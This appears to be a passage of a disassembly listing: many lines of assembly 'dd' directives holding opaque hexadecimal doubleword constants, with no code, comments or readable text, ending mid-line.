dd 1510F30Ch, 0CD739C0Eh, 822A80DCh, 0E829B4F2h, 0C021C0F8h dd 22F573C9h, 2DA4300h, 4237B4AAh, 0F230CD6h, 752955C2h dd 331F1106h, 11F93Ch, 2C45C853h, 59BCA18Bh, 0BD09761Dh dd 0B821DC18h, 0F74502C6h, 2099236Ah, 3CC557E0h, 201F0330h dd 4DA8ACh, 0A225BFA6h, 0BA5E7FA9h, 9EEFEB00h, 0B1221267h dd 0A5A6001Dh, 0B75D4C60h, 7415FC0Fh, 3F9826C8h, 392C811Eh dd 54E01FCFh, 18A87420h, 21C04AD7h, 390126C3h, 0F0A0AD43h dd 19838298h, 339BDEB9h, 8014E07Dh, 2330E86Fh, 392A01C6h dd 0A0301FCDh, 8F443058h, 39C400C1h, 0CAD6461Ah, 4008C8Ah dd 4C80BBE0h, 0A084D787h, 1409BF4h, 1320A448h, 0DC3A5725h dd 9A008534h, 64277294h, 7D7618h, 0E217D267h, 0F85D6E47h dd 0A4121600h, 182B3493h, 36BC3E6Bh, 4349541Eh, 0C22897BEh dd 0FE7E53B8h, 63F8E1FCh, 45058600h, 25DFB906h, 0B5A6000Eh dd 0D5A9D7FDh, 65002BB2h, 0AE8ECC4Ch, 0D9AD1Fh, 57034D99h dd 0CA185D7Ah, 8CCE1C03h, 0B0B59C01h, 81414Ch, 956B0D2Ch dd 42508733h, 8817A500h, 83D622B9h, 7A7D00DAh, 76FA8C98h dd 55003DA6h, 796BF27Fh, 72FEA31h, 931765E9h, 752510A3h dd 0A200C5D7h, 159C8859h, 0E09E64h, 0D8FAE91Bh, 0A08C1838h dd 8300367Fh, 1CCC0E85h, 33CFFD3Ch, 0AF09275Fh, 5E52100h dd 685E72CCh, 267F0FFBh, 0A588FD58h, 461B771Fh, 0E796C028h dd 0D98E0092h, 0B6FF02D2h dd 787E06A4h, 0ACB9301h, 4F5A8C9h, 18FA73C4h, 49779ED6h dd 1EFE756Ch, 1AC65A00h, 0AE032991h, 2DB07A4h, 0D61306A7h dd 630070A6h, 0E3437CEEh, 666F59E1h, 215E09DAh, 7C01D6FAh dd 1CA1DE3Eh, 0DDC8D892h, 5F3C1890h, 0F15CA93Bh, 85169A00h dd 9DC72502h, 4067605Eh, 51446F52h, 80117B3Dh, 5BFBD8E0h dd 47FB4D5h, 0F721FA9Bh, 82C4C13Dh, 329050B9h, 0C8E99175h dd 0A800DFFDh, 2BA1647Dh, 307808C7h, 0D52980E6h, 8B541623h dd 3E00039Ch, 45A7465Bh, 0CFAC1h, 200680CFh, 77FE1049h dd 0BB581803h, 5392774h, 0D7430CB9h, 23E02FDFh, 35803DA9h dd 0C8A4A279h, 7B30C45Eh, 33A5215Dh, 2C0EA0Eh, 0E05639F3h dd 30901B38h, 3CF2CC0Fh, 0AD222546h, 0CC06E600h, 0CD28C5A3h dd 0A2DD0F24h, 9D04AA6Fh, 0FE360778h, 5200C0FAh, 1AC1E8E0h dd 0D1D900F0h, 0B69D79E5h, 0C71960BDh, 3AF0AB15h, 91369510h dd 0AEF88A02h, 4C0DA701h, 7CE90E04h, 8891E344h, 0D1208051h dd 6E2EB37Ch, 0DFD84C00h, 0B7F152A2h, 33D79F6h, 0C49A656h dd 3064A44Ah, 0EF600760h, 0E323467Ch, 5811F9h, 8B7CD71Ah dd 3F18067Ah, 24040FC8h, 88215E27h, 0EF314988h, 0A3823161h dd 0C4189850h, 0D93C1DA4h, 347585C0h, 0B180465h, 0D1334057h dd 11BB48h, 4284BEEFh, 55F0494Ah, 3A7421C5h, 0F952E020h dd 46821220h, 9D340596h, 0E8BC408Ch, 0F60E661Bh, 0B3A20C3h dd 84083D21h, 920E48E9h, 0EE37FAA4h, 3D285800h, 307D4E0Fh dd 0C561BFDDh, 11003087h, 0E8953357h, 8C174Fh, 2F5BAEE6h dd 75C1B556h, 0C4A871C0h, 0A12780h, 7E3C3F2h, 75FAA7E4h dd 1811B0A1h, 487C04E5h, 325CC9E3h, 0ED2C2257h, 0F226C080h dd 0A43BFC71h, 70160282h, 47DF113Fh, 61564408h, 0C770F6ACh dd 0AA482807h, 118464Ch, 0E34D7CECh, 450C5D31h, 0D41588h dd 3CBA097Ch, 0A7EE7819h, 0AC3894A8h, 12B89200h, 0EDE2AB64h dd 56997C6Dh, 2402C8ECh, 0F8F61966h, 35118731h, 23B7D41Dh dd 9596FC00h, 2B729DD1h, 0E87C0144h, 16DFF9AEh, 5F60204Ah dd 4D49h, 3CCD8699h, 1F06742Ah, 80AECCA8h, 0AB936897h dd 0DB1ADF55h, 37A86420h, 0C75280C4h, 7903D7A0h, 64E53904h dd 5C8C355Eh, 745644EFh, 8658384Ch, 0A7F98BEEh, 6089444Ch dd 0BF8EEF1h, 0E416F562h, 5DC8E200h, 59CE0122h, 5F4C9F1Ch dd 56713Dh, 0BEEAA14Ah, 0B7A23F94h, 30404C3Ah, 42FB2151h dd 0DF6F00A1h, 0EEC66557h, 0DE059050h, 0B4EC7855h, 3F5DE445h dd 60E8AC22h, 1F0729Dh, 4D53ACFFh, 0FDBA3DFBh, 1F227045h dd 39858C30h, 91AFE54Eh, 1856D128h, 0C71601A0h, 5D77AB18h dd 33818070h, 0EDCF44F2h, 505900D3h, 0F6817422h, 0D72C468h dd 0D9231500h, 9E0EAAC5h, 0BFB003Ah, 2717B580h, 99C5A58Dh dd 942F1BE4h, 0C18B7210h, 7C97D3AAh, 0A944660h, 709E3812h dd 631F8BE0h, 35DF8275h, 880CA7F8h, 0F1EB6AD3h, 0F0C55864h dd 11C08032h, 198A8CE5h, 8563101Ah, 0B9C0439h, 4A7CEB60h dd 4CD9E324h, 0ED32670h, 0DF9EDE7Ch, 3A81FA3Ch, 3D74E5ABh dd 0E161073h, 0B97029Ch, 0F0B54528h, 0E8AB3620h, 12E0906Ch dd 0A0AE48C4h, 0B1E633Fh, 0E70F858Eh, 0F7E1A006h, 9A243015h dd 0F018E914h, 0E3497C04h, 523259D1h, 7CD81920h, 8DA80118h dd 0C6433FFBh, 5E76DCADh, 48896361h, 0C4E45208h, 0C94F00F1h dd 6AE162E0h, 0FA00AB4Dh, 4223879Dh, 0A5F74950h, 0C54A80A4h dd 383EBB8Ah, 0C4F0A58Eh, 5DFE604Fh, 99506924h, 42E83488h dd 0E2554E72h, 91D01735h, 8291834Fh, 47B100BCh, 0C5C13A0Bh dd 0EE02D996h, 22091072h, 44E447A4h, 4384604Fh, 1B0D033Eh dd 968C2345h, 9E2B6900h, 0B7C8FFD1h, 33CE0091h, 0EA2E6F01h dd 9F904673h, 0D02AE37Fh, 30B9EC05h, 0DE185171h, 0AB5DAC00h dd 9EE3EFE0h, 20945Bh, 0F554A893h, 6504AA85h, 0D3FB753Eh dd 35070AFBh, 0E0DD3E96h, 0C61C8BBCh, 19817142h, 805A096Ch dd 0C0289C47h, 0BEE4A148h, 7510A446h, 80013B8Bh, 0FC5395A1h dd 0DBE97D5h, 645F1A60h, 0E5B48041h, 412C1716h, 0AD03007Bh dd 0BD9790Eh, 9A02908Ch, 0C1BA23B0h, 0E0104B72h, 0CD0B8A4h dd 3E5F5264h, 0D006149h, 3B12E44Bh, 0B17A0F8h, 84E7C2FCh dd 60D08804h, 74356618h, 800CFBF6h, 0EA113188h, 6D550038h dd 0F5A8E0C2h, 5738B323h, 5AED80C3h, 1618C6E7h, 1CD0A86Dh dd 0D7224C1Bh, 0B0449202h, 0A4A09582h, 29A5431Ah, 0F16CF600h dd 537CD53h, 0EB6E38C4h, 1EC6D607h, 0C3A89A8Bh, 0BEF9A14Dh dd 8044237Ch, 0D3A14508h, 6BE8009Fh, 251FB15Ah, 8E60BEBAh dd 0DCFAA8E1h, 388D05F0h, 0CB96F1C7h, 0C789C808h, 0C72FC0ACh dd 303D059h, 74AB1678h, 0A5D9263Bh, 4C1E0660h, 0BE29A037h dd 5159641Ch, 0BC03E018h, 0C1B4BF17h, 13811382h, 69044074h dd 63CCDF81h, 0E7958000h, 0ACDA1FD7h, 709E48FCh, 57C63905h dd 0F86C89F5h, 7400FE43h, 9DB8C75Bh, 310C6E9h, 4960D827h dd 59058408h, 7AB6B477h, 3F749821h, 49142072h, 0FA0A14FDh dd 0A4CBBB9h, 45ECD57Dh, 0C44C85Eh, 39FBE201h, 62601EFAh dd 0CAA4120h, 8A167938h, 0F500B449h, 6F7B9B22h, 2F5CA3h dd 0B9E1329h, 46EDB274h, 7D433C06h, 2B61BDD9h, 80E8BAB4h dd 0C3CB53EEh, 59FC12B5h, 1769F22h, 4645DBB9h, 0E8A33260h dd 0BA000663h, 4FAAC7F1h, 1182DFh, 0CA4AD531h, 7D89DFDh dd 0DBF9FF01h, 0B39F6C14h, 37C6FCh, 2098018Ah, 1DBF3A04h dd 4AF1A20Ch, 0F4B641DCh, 93CA1F2Ah, 3FEF260Ah, 647F8887h dd 0ADE28065h, 990083E0h, 90EBF4FCh, 7E10A202h, 540DE29h dd 0C0BBC595h, 0D263ECDBh, 5265D30Eh, 0F406E0B2h, 0B83CAE3Eh dd 9B30C058h, 0EF531E3Ah, 1EC6373h, 250019DDh, 0AEC391F9h dd 0D70200CCh, 90150AECh, 523C9370h, 2D71803Fh, 49A9FF10h dd 3DCFA9Bh, 31B4CC7h, 2001411Eh, 1A9876CAh, 5887F48Bh dd 0C03C61B1h, 24C24DF8h, 0FF5E3Ch, 0BF1C79AFh, 0C5489Fh dd 52BD2307h, 6F4F06E8h, 323F5F00h, 0D949C8B1h, 62201497h dd 0F100949Bh, 0BB6C106Ah, 2D1888EEh, 719985Eh, 0DE160729h dd 0C25AD3E0h, 90901AC0h, 31006451h, 0F6F2C2Eh, 0A8DE4A5Bh dd 6517BCh, 5067578Fh, 0B977088Bh, 18F09B0Ch, 1D4CC174h dd 0D43CBEh, 232DFB1Ah, 7E0028D1h, 631EC32Ah, 15697697h dd 0A4E41CE2h, 0F2B1020Ch, 2B037161h, 4C09C1F8h, 0C537E004h dd 992A671Ah, 5DC7DFA0h, 0EEBE403Eh, 9230A115h, 0F0114967h dd 0B14D03A9h, 834F905Eh, 33108198h, 4036F0Eh, 0BD32201Ch dd 30E27076h, 4639ED1Fh, 980C9C14h, 89FA4AE1h, 4924016Bh dd 51DC1EF4h, 0EBCFDCB1h, 22C9877h, 0B4004307h, 8D0E5CB8h dd 8180F50Fh, 0B557082Ah, 9C79C768h, 17CBED00h, 7FA65F25h dd 493017Ch, 180B2B6Ch, 83C4509Eh, 3B039D2Dh, 0FD54D72Fh dd 41F89AF7h, 60203A10h, 30477ADFh, 62319C19h, 0AE006F7Eh dd 2DC8505Bh, 1924758Fh, 0D1EB3F7Bh, 958BF8FDh, 5CBAEE00h dd 0B9BB85E7h, 0D6A11F2Ch, 33760C77h, 0ED07ABB1h, 89A842Ah dd 1C031053h, 80A74519h, 0B02C3B02h, 7E1D1DCAh, 2694C1C5h dd 0CD2E14B9h, 477801A4h, 0F94A09DCh, 1B209C57h, 441081Dh dd 0A049819Ah, 0E5A4883Fh, 23DAF200h, 37ADC568h, 8EFA1EB2h dd 8D4F00BDh, 0CCB5024Ch, 781849CAh, 8FEB4900h, 1E7894EDh dd 1212F2E1h, 2E1820B3h dd 9800710Eh, 415295F6h, 19B1D85Fh, 4187742Dh, 0D299E02Bh dd 0EDA95912h, 3A040Bh, 7C529210h, 75DD0771h, 0A01101ACh dd 1215E2C1h, 0A9B1CFh, 276A6103h, 639215A7h, 2012902Dh dd 51A4307Ah, 130DFE0Dh, 99E54AB9h, 0B1C8E0h, 0A2CDD973h dd 0C54F1AABh, 679FAC00h, 59B3D34Dh, 0F411500Bh, 5FD7001Ch dd 9278702Ah, 0C2184169h, 0C8619F19h, 67053CB9h, 91E68080h dd 4AD7B24Fh, 0EA3E3500h, 20FF11EFh, 0A248A075h, 9158006Fh dd 86B88A4h, 923A49B8h, 73760168h, 0AF02DD77h, 1928E822h dd 0C53A3E1Ch, 96A1E80h, 2165E2F9h, 24712026h, 80C46040h dd 3430F1C1h, 91FC5Fh, 56E65A24h, 23C9007h, 9159CA8h, 0A26AF20Fh dd 7CE960B5h, 1C4ED353h, 0C1F4388Ch, 92F13551h, 12F88FF6h dd 94892091h, 709FE01h, 0C7EC40B8h, 0F7BF40BDh, 82040F07h dd 90E45881h, 1FA81780h, 0F03C309Fh, 9294BC71h, 0DCF3900h dd 0EACD45F3h, 6F2AC0A7h, 609154F9h, 0CBC4A30Eh, 4A92C039h dd 294326Bh, 0A77F4940h, 0ECA0AC02h, 0F63F0931h, 84D659C0h dd 5E7056Eh, 0D758DD9h, 505CC7C1h, 35421B6Bh, 0C4AFBD26h dd 0B4E6040Ah, 6A02A200h, 1C9A05C3h, 4C4491A1h, 0D051EF3Fh dd 241FC100h, 750E1127h, 1B872417h, 0A85909A4h, 0DD4A0403h dd 0CDC98900h, 0B542D912h, 0D2E80404h, 817A148Ah, 62492A18h dd 22760A84h, 700DF9Dh, 0AC9C5C18h, 0CB0A35F5h, 1994318Ch dd 0EED03489h, 7D2CDB00h, 1A6943E0h, 7A510086h, 23DDE7C3h dd 31265AC0h, 0B100A0FBh, 0A1E04D2h, 2AA4F026h, 942E10h dd 123C6916h, 55076E6Dh, 0F0099D03h, 0D0D394B4h, 0F01CD742h dd 4CD178BCh, 0AEC1B41Dh, 739C9A47h, 0BDE0304h, 8864C20Eh dd 123E8C3h, 0A3499BC6h, 4101E3AFh, 20C888D5h, 5700EFD4h dd 7534F32Eh, 997495F1h, 809C21BCh, 85399306h, 7C03E2F5h dd 346AA779h, 441ABAFAh, 2DC100ECh, 9CB2D54Ah, 2E496B9h dd 0EBC45E06h, 49F0A8h, 0B7C1A441h, 0A36C1630h, 104F730Ch dd 19C712Ch, 49BDB93Ah, 0F43D7250h, 53AAD2Ah, 94CD9DB2h dd 0E43C8CC4h, 2D401340h, 5D009EE6h, 74B1231Bh, 0C0EC3FE3h dd 5E68AD21h, 0DA006F96h, 2FDE9EB7h, 0C23386Bh, 840346EEh dd 0A9FC4A88h, 6602B48h, 0DE19E279h, 0DC62EB41h, 51BB4E03h dd 65B3A71Dh, 0C80CC79Ch, 0A654A5h, 7C3B23D5h, 0E503C990h dd 7995DCACh, 6041483Ah, 4005DCDFh, 0ED800353h, 6F3B1527h dd 4B54005Bh, 62ACD220h, 5F8B2C74h, 0F7B40C8Ch, 6D00E239h dd 79F3B21Fh, 0DF1D2Bh, 0BB79B37h, 0A386E748h, 66D9214h dd 0E12238h, 95444BB0h, 0ED17A6BCh, 1C66D600h, 0D9C0D8CEh dd 3691025Eh, 3CA95876h, 0F78C9C90h, 5E16332Ch, 0B4156600h dd 26789B43h, 114801ABh, 30B81FFAh, 2D01A15Ch, 0B2B14558h dd 188428C0h, 102FE490h, 1048FB32h, 14C88028h, 67DDD8h dd 6D54DBBAh, 5D628CC0h, 8FFEF209h, 2F8C03A3h, 37083AD1h dd 0B4911A15h, 0BDE89C00h, 0BA650389h, 0D3823217h, 219F900Ch dd 50B60010h, 0FC21ECEDh, 8828A758h, 3A0B9DB7h, 103CBC2Ah dd 6598E4h, 0EDCC0E12h, 0CBD28952h, 557EC701h, 0EF3C14AFh dd 0E2992h, 0DABE7298h, 0D009123Bh, 103FE448h, 97F3A40h dd 0E1F6B918h, 0C308408h, 0CDF12B10h, 57E0F200h, 7FBF8940h dd 4430164h, 0F81D4B39h, 61043085h, 30B4800h, 9009056Ch dd 34743192h, 70322041h, 8E8B724h, 4AD13501h, 8AEA7371h dd 0B59CC60h, 532B0790h, 8115EC18h, 500183EEh, 0B288B8A7h dd 51813619h, 8D3C8AF7h, 38783039h, 0B414AC26h, 6C240Bh dd 56917A64h, 5820B027h, 7111F817h, 1D097C84h, 0AF7719C4h dd 2D1A2078h, 0D76EF2h, 4C70E1E8h, 0D6A6699Ah, 95547F09h dd 0FB204875h, 0FC1E30A7h, 0A984C558h, 1C693A1Ah, 2900C180h dd 38A37008h, 0F880C2BDh, 48B85B20h, 0E09E0017h, 6968D5A7h dd 90B94FC2h, 58023400h, 2496C0F7h, 98C498h, 130CB109h dd 0A491B5EBh, 9BC77101h, 0E7F1D3D2h, 9802A180h, 0D79F3420h dd 689919F8h, 6140831Eh, 1FB2937Ch, 0ACA948E2h, 0C00856C4h dd 50673896h, 7E8CB200h, 7FB71B3Ch, 40260E6Bh, 272FA953h dd 0E07C2376h, 8EFDB9C8h, 0C5AABC00h, 6CE6183Eh, 18911Ah dd 54456DA8h, 7502EF68h, 0B87897B2h, 0ED607D46h, 9A00363Fh dd 809FDAF4h, 25D08D9Bh, 0F418A7A1h, 60A01FE2h, 4F0FC88h dd 0AF74E350h, 0D03D69DEh, 20882DD0h, 80BCB963h, 3A60A20Ch dd 0A64C5A12h, 0BA900C7h, 0E7274645h, 0B2C80157h, 34B5F418h dd 5591C8A0h, 245111Fh, 0ED243028h, 2441943Ah, 2AEC1C7Ch dd 447B7C12h, 0F604B3F5h, 2E2203AFh, 45F381EBh, 2D9BF4C6h dd 91997A35h, 0A9507405h, 14B4CCCh, 88CD6FABh, 0F0A63FDFh dd 23004937h, 6ABD9D45h, 0C0F44A08h, 0A4F5B889h, 1CB0AFB6h dd 74A6A907h, 0A1937948h, 0F2B8C8E7h, 77A53243h, 0F7C04408h dd 5D0C5FFDh, 30AE8B64h, 264F0034h, 2D1F052Bh, 36310ED6h dd 0B8A918ACh, 60D1AE60h, 65DA1191h, 0C400C9E2h, 0B2375B88h dd 0E043E7h, 644AE8F4h, 0E48B5246h, 7F81BF5Ch, 0A667FA01h dd 0A7011702h, 3664DC60h, 8A79AB98h, 0EB0C6DF0h, 0C135EA97h dd 26520061h, 729B40E1h, 5078D44Ch, 81962301h, 0B33351BEh dd 0AF444181h, 0F45DC3DCh, 0E906A367h, 0AD9D633Eh, 0E8600C21h dd 3F40D549h, 88539206h, 6910EFh, 0F2251A5Eh, 7C392FC8h dd 20CA8D00h, 8FC33CF1h, 4FF0005Ch, 0B83F78FEh, 80A0682Bh dd 660C9A6h, 0A3C6CB41h, 46EA148Eh, 9C22A8ECh, 9893D12Ah dd 190087B0h, 2BE23F67h, 7D90515Eh, 18BCF6D5h, 29A9D7C1h dd 0C23E12FAh, 0B4B907C0h, 0A6F0F6DFh, 11F0C01h, 98D850CCh dd 80AED7BEh, 2553E31h, 3F45BECh, 61F999A5h, 8173AF33h dd 0F3669A00h, 0E197F8B1h, 484B0C6Fh, 3821B233h, 0FF035600h dd 542432EEh, 63CF3041h, 0C04061E1h, 85044D00h, 0D348D8A8h dd 45240160h, 8426B836h, 12845217h, 53B4AD20h, 30875F2h dd 6F928926h, 0CED9BA9Eh, 0B5BD2004h, 25B879C3h, 6A697C6Eh dd 4404192h, 804230E4h, 0E7FC2F44h, 1DE99718h, 62342521h dd 0B35FF9A5h, 0D5C1BEC0h, 6E615605h, 8C30D4B7h, 2734F93h dd 415EC2ADh, 0DC90CD87h, 7C00AA0Eh, 10F4F54Dh, 0C8EBFF2h dd 4FA145B6h, 670CCF78h, 0E181CED4h, 0B0717D95h, 0ED833B80h dd 1C6FC880h, 1E7ED636h, 4E061598h, 3AC94661h, 6EDA00A9h dd 0AA385FD8h, 9D004DA0h, 9F1D15C6h, 2617A4h, 0F121F92Ch dd 47D20152h, 0CD610914h, 3A2880BCh, 1FEA0C18h, 47F28ABFh dd 0A008420Fh, 38274A24h, 0FE5C5500h, 0AE12BFDAh, 0D0923DB3h dd 0CF8B4B00h, 2ACC4F51h, 0D5079BEAh, 36F404FFh, 0EDA4550h dd 90995434h, 0AE430025h, 28BFB494h, 19C0AFD2h, 5BA003E8h dd 0C1DF05EDh, 206F18B5h, 0F9E975D4h, 12C5F64Ch, 0A8009FE0h dd 0B5D4D614h, 8794825h, 858E0188h, 6F3E607Fh, 0E0C2E3h dd 0C69C5415h, 0AEF1A9BBh, 7FB46D02h, 90300EA1h, 6EEC97DCh dd 3141410Ah, 2039E7DCh, 2FF4BF94h, 0B60EC900h, 4A9CFC67h dd 604E793Ch, 0BAB73107h, 691492C2h, 80A8CED6h, 31805976h dd 961339E9h, 0FC10DA80h, 0B895A125h, 0A6792A60h, 14AC9BCh dd 7CDEB4FEh, 369C6463h, 0D509738Ch, 11CA4654h, 4DE0B178h dd 0CC630388h, 0BF5E2322h, 0F73DD9C1h, 0BC863900h, 0E7926475h dd 50AE0238h dd 628507FFh, 0BE4EA860h, 913D000h, 754B7758h, 0C99D18F2h dd 0CD06611Ch, 0EC8A2E02h, 0E0D021B3h, 0A467125Eh, 509D52C8h dd 62494303h, 211F6CCDh, 0DD4038E6h, 0CE9A723Ch, 0D0AB7Fh dd 956D7778h, 71ED2D20h, 82183800h, 1DA07EBFh, 495E00BAh dd 4AF2E227h, 7500995Dh, 8A84665Ah, 9297E4h, 0A2467EEEh dd 1AD72A12h, 66799801h, 0A0322552h, 0E9EEE448h, 0E84A2C12h dd 391373C0h, 0B9993C37h, 0C097CE5Eh, 0E77D0955h, 6F9400DCh dd 2249F190h, 1732B864h, 4054496Dh, 5052D908h, 70432033h dd 2CFE16C3h, 879E000Eh, 8ADB56DDh, 0E8393D00h, 0D56EFF59h dd 702B31B5h, 0E56C4E49h, 182066D3h, 997ECA81h, 0DA290EF3h dd 0D420BE18h, 6C52B84Fh, 3D7AC005h, 8888D204h, 7E5A0091h dd 0D8181438h, 8D19490Eh, 9651B83Dh, 2EE2FB70h, 1E6B4022h dd 61884F7Eh, 82FE9DE5h, 5860A480h, 5254DA34h, 470E3F44h dd 65889D94h, 0C00B5804h, 0D17C00C1h, 898D9h, 42EB21B0h dd 9B33B446h, 6D4A39C0h, 3A181686h, 581F5583h, 71F34028h dd 0FA014DE5h, 9CBB6029h, 0BDA07A81h, 4AC8446Bh, 1BE94CCEh dd 61C09D02h, 5048F8BBh, 9860D236h, 8C31EBF1h, 5AD61CF6h dd 4E380025h, 1F57E38Bh, 80383C58h, 0B4ED2B27h, 64FC0020h dd 0F25EF175h, 0E2798D5Ah, 97C2E405h, 0EC08529Bh, 994E806Fh dd 31F147D9h, 6EFC1A03h, 4813B5ABh, 1D222879h, 0A71FAE07h dd 9400D005h, 7E0B41Bh, 6328C0DFh, 80995426h, 0CD9C734h dd 0E5C8D105h, 2CC04969h, 0A03213F0h, 376391BCh, 0F2B1AC93h dd 1CC151BAh, 0CB83109Bh, 0BFA100F3h, 9AE22E25h, 5D0EDE0Ah dd 421CC7AEh, 0C2A58ACFh, 24500A80h, 0C800B511h, 7682D505h dd 2A3CC41Dh, 0F82C9F44h, 90CAD94Bh, 0A647218h, 7CEDC0A3h dd 0CA7A1CB4h, 13AC2BE7h, 0FF0030DDh, 0EE017DF8h, 2EF048F1h dd 1D70C1E9h, 76580E62h, 6000F3EAh, 3207A652h, 0B5705890h dd 624E4CA0h, 5191BA19h, 198C95CAh, 92166CDh, 0D4A32A01h dd 0F41C9C60h, 0FE773E4h, 4E455C3h, 422486EEh, 0AA78CC5Fh dd 9C75EC00h, 0E7410736h, 0EE7B2802h, 9030F9F4h, 86C0A882h dd 0E4884C13h, 980825C0h, 26E45DF4h, 2A474500h, 0EF1684E6h dd 18C93380h, 76B89929h, 0D00CE2Eh, 48F240D7h, 0E6254BFBh dd 3F475C7h, 0EDCD2742h, 0D11694D1h, 0E70009A0h, 0B99D1F6Fh dd 193809C0h, 5F807D9Ch, 0CCBF5129h, 4CB8C73Ch, 9EAD03DFh dd 882650DBh, 7ED1295Dh, 0A5E91275h, 978505F4h, 3038CCF1h dd 0BA5B0A84h, 80F4B73Ch, 2DEDFBB0h, 0DF002C9Fh, 10816F97h dd 0B070114Ah, 0FCE701C4h, 2CB5CC3Ah, 80B8556Bh, 0D3B62FE4h dd 0CD634514h, 0C5C7070Ch, 9F1035BAh, 886E13B8h, 300054F1h dd 29CAC781h, 77A7A4BAh, 0D2DCF12Fh, 0E299C080h, 0B692878Eh dd 16AB4400h, 6FCCC0E1h, 0BC1B5053h, 0C1D0A0C9h, 994B0646h dd 8851BDE7h, 0CFB3DF12h, 0C9E4E600h, 59AC4E9Ah, 0CC94F8CCh dd 1EC324h, 15BF1B52h, 39009A75h, 0E52ADF8Eh, 7D89B2h dd 0C9624B60h, 0DA6D6380h, 0BEB8814h, 0BCEA8AE8h, 0B72420Eh dd 85087BEh, 5D8C48F1h, 2FE19440h, 0EBB400D2h, 0AAA6ED7Ah dd 4FF4DD26h, 99CFE401h, 3C95DF2Ah, 99BB48F0h, 0E6D68094h dd 2A0FAD10h, 2B88F81Eh, 2925B682h, 468CA4AAh, 45F3FC81h dd 6308F9ACh, 98B831F9h, 0B400C917h, 0E3D0D63Fh, 418EBE5h dd 0D5E11361h, 326DC0C7h, 522E5919h, 6D6090C1h, 0C91FF9h dd 2FA3BC58h, 1C4B04E0h, 0DCB3453Dh, 0E05358h, 0C3D30ECAh dd 2E705C80h, 7CCF181h, 8CC49BA7h, 0D7042FCCh, 0B94ACDEAh dd 4945B8C7h, 0B2FF9800h, 662EB5Bh, 0D2583B26h, 280381ADh dd 61D1011h, 3AE08070h, 0F34B00F1h, 4FF83D89h, 20E108D1h dd 680ACAC4h, 0C8F29779h, 3C8CF764h, 16080166h, 0D295868Eh dd 5161879Ah, 9FC0367Eh, 0ECFA4h, 1F20EEBEh, 0FA0B191Ch dd 0E7014A09h, 465C847Dh, 6A3D08E2h, 66F58C00h, 552EEDABh dd 0B79B7B17h, 68937F09h, 395D5FF4h, 291823B8h, 0ED98971h dd 4DC3252h, 56459AFEh, 0FF1460D7h, 82F11480h, 0CE337E1Eh dd 81802249h, 967875FCh, 9F430E00h, 0BC630F0Bh, 3891760h dd 399420CEh, 5D0043F4h, 0DD9761C2h, 264F3E3Dh, 10098FFh dd 0D7B63FEEh, 7D818796h, 87A0A83Ah, 86435Ah, 819AD85Eh dd 491BEF94h, 24CA4415h, 4EDD07A8h, 668308C9h, 0DFFAC8A8h dd 893C0F8Ah, 0D7803740h, 0EE935D5Ch, 0D397912h, 61DD7801h dd 0B064A5ABh, 83A81729h, 0E01C2032h, 720082F4h, 0C7ECCF53h dd 58381165h, 1A0043F9h, 48403763h, 3318FDF5h, 0CF893BCCh dd 850F01EFh, 317736B7h, 6F2CE019h, 0A471E770h, 54889212h dd 30E38400h, 4BC8BB7h, 848CC56Bh, 0BF18A4CEh, 58127800h dd 97CCC866h, 0C1745C93h, 7F46F200h, 3420DCC6h, 3D00D778h dd 156A9423h, 74F1DB29h, 0E8F9540Eh, 824ACEh, 0BF3B6634h dd 6D00EB0Ch, 25F98391h, 49E72E9h, 92CA8E19h, 7EE8883Ch dd 0F044AD00h, 0EE83189h, 90AE5C41h, 23CDC613h, 74736B88h dd 884AF0E1h, 0B81E9B02h, 66AB28FFh, 0FDBE1F88h, 0B3A2809Ah dd 0FAB160F2h, 3A54CB0Ah, 9811F46Ch, 7B256800h, 0D52775A8h dd 0ED2A97EEh, 68B1A80Eh, 214E4780h, 0A2C105Dh, 5CE23EF4h dd 97EF05A4h, 0B47088E3h, 3854DF26h, 0EA88133Ah, 0F0002CD5h dd 4F59F0A1h, 0BEB900D8h, 0B43FE7B5h, 0DF1E38F8h, 9AC1456Fh dd 65CEB00Dh, 2F19E982h, 0A541448Ch, 0DAE12FA4h, 5C6302E8h dd 29805C97h, 5BE41DDh, 3707E900h, 64F2B93Eh, 934C0150h dd 84ACF0A6h, 102932h, 0F16DE891h, 0E669B9A4h, 8F6000E3h dd 0FC73D47Bh, 0E41BEB78h, 0CBB925CAh, 0B3ABD8CDh, 8F0B3C12h dd 44B5B400h, 0D914F2E8h, 0DB00A49Eh, 51A34182h, 699D613Ch dd 7093DA2Bh, 25006ABBh, 0AC17108Eh, 72F82AEh, 0FC8E8FEh dd 465F6027h, 0C990C952h, 0F830E74Bh, 0B13DDCA4h, 7A7F00B4h dd 89C92075h, 11326100h, 0FA771AE8h, 99641966h, 22D1299Fh dd 4C3900E0h, 4D06FD3h, 0F69CC09Eh, 77B60D47h, 436D400Ah dd 0DC00CCB4h, 0E8FAFE13h, 360E26DEh, 3784A40h, 51EBF844h dd 18D9902Dh, 18475F54h, 11B03C52h, 46729351h, 0BEA30416h dd 0F3075030h, 1B3B047h, 177A8EFCh, 70CDBACFh, 5638F800h dd 334BF86Fh, 8F0AE040h, 3DC57DB7h, 51E68F4h, 2C2589FEh dd 76EB8C98h, 0F26A9E0Eh, 0D8E5477Ah, 408003A9h, 0E0DC830Eh dd 4C5FA32h, 0CDC2E68Eh, 2E28906Ah, 2507410Ah, 0B72FA1DCh dd 0AB2C0E41h, 5F997840h, 75509530h, 898B6B27h, 2D0003A8h dd 0B39BBB04h, 44F4C260h, 2C75046Ch, 0F0D6B216h, 451B8B98h dd 0A8716BCEh, 138C3725h, 1C6FB0Eh, 0B9495D74h, 0D331D997h dd 0CF4A74C0h, 0A8316460h, 75D319h, 2084884h, 28B25ADFh dd 0B32FE800h, 87AC3625h, 50125C62h, 3C33FF0Ah, 50B3409Ch dd 9404901Dh, 4D5997B8h, 0C5658480h, 139E14D8h, 1C009C4Fh dd 8B4EBD33h, 0BF774BECh, 0F241B660h, 7FE8D0Fh, 2D95200Eh dd 89405182h, 3B980EBh, 68ABAEC7h, 2BC80026h, 0A19ACD01h dd 0F4B1467Eh, 3186D887h, 667D82F0h, 0B5BD1273h, 0BAC49029h dd 143D50ABh, 31EA8B3Eh, 561448CCh, 4FB7001Bh, 22AA0728h dd 4100150Ah, 1A3AEC49h, 0BCD8B2h, 606CC296h, 64D5D0CAh dd 28E75C02h, 687C25B8h, 913354B4h, 31690198h, 0C4C00A88h dd 0D0004F61h, 0A0F63570h dd 1D55F40Eh, 84DA46FAh, 1071872Fh, 0A60322ECh, 5D9F48E4h dd 0EF806C3Fh, 2116192Eh, 0B6005227h, 0B910CDFDh, 0B0BC5062h dd 0BA9A0010h, 169B9789h, 0F400BE33h, 